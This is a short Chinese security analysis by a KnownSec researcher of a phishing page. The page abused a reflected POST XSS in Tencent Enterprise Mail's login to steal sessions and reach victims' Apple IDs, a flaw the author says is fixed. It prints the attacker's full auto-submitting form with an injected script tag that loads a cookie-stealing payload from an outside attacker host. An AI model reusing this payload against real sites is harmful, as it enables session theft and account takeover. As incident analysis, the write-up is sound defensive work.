腾讯企业邮箱跨站漏洞分析
Author: Evi1m0#KnownSec
中午朋友发来一个帖子询问我《朋友 6S 被偷了,小偷(可能是团伙)发来链接偷取 APPLE ID》是什么原理,之后和 RickGray 看了下是利用腾讯企业邮箱的 POST XSS 进行的盗取登录操作,从而登录受害者邮箱获取 APPLE ID。(目前腾讯已经修复此漏洞)
Target: http://eeee.washbowl.com.cn/
View-Source:
源码写入两个 iframe ,恶意代码在 /htmlpage5.html 中:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 |
<html> <head> <meta charset="utf-8" /> <title>qqjs4</title> </head> <body> <script> function test(PARAMS) { var temp = document.createElement("form"); temp.acceptCharset = "utf-8"; //By Wfox temp.action = 'http://m.exmail.qq.com/cgi-bin/login'; temp.method = "post"; temp.style.display = "none"; for (var x in PARAMS) { var opt = document.createElement("textarea"); opt.name = x; opt.value = PARAMS[x]; temp.appendChild(opt); } document.body.appendChild(temp); temp.submit(); } test({ uin: '\\"</script><script src=http://ryige.com/q/8></script>', }); </script> </body> </html> |
脚本创建 action 目标为腾讯企业邮箱的登录地址 form 表单,调用 test() 函数传入 uin 的参数值为 XSS Payload。
// 这个 POST 反射型 XSS 是由于企业邮箱登录报错未做过滤处理导致:
参数 uin ,攻击者注入 http://ryige.com/q/8 脚本:
Payload 将获取企业邮箱的 document.cookie & document.referrer 并发送给攻击者。
注:因腾讯企业邮箱不仅仅需要 Cookie 还需要登录成功后 URL sid 等信息;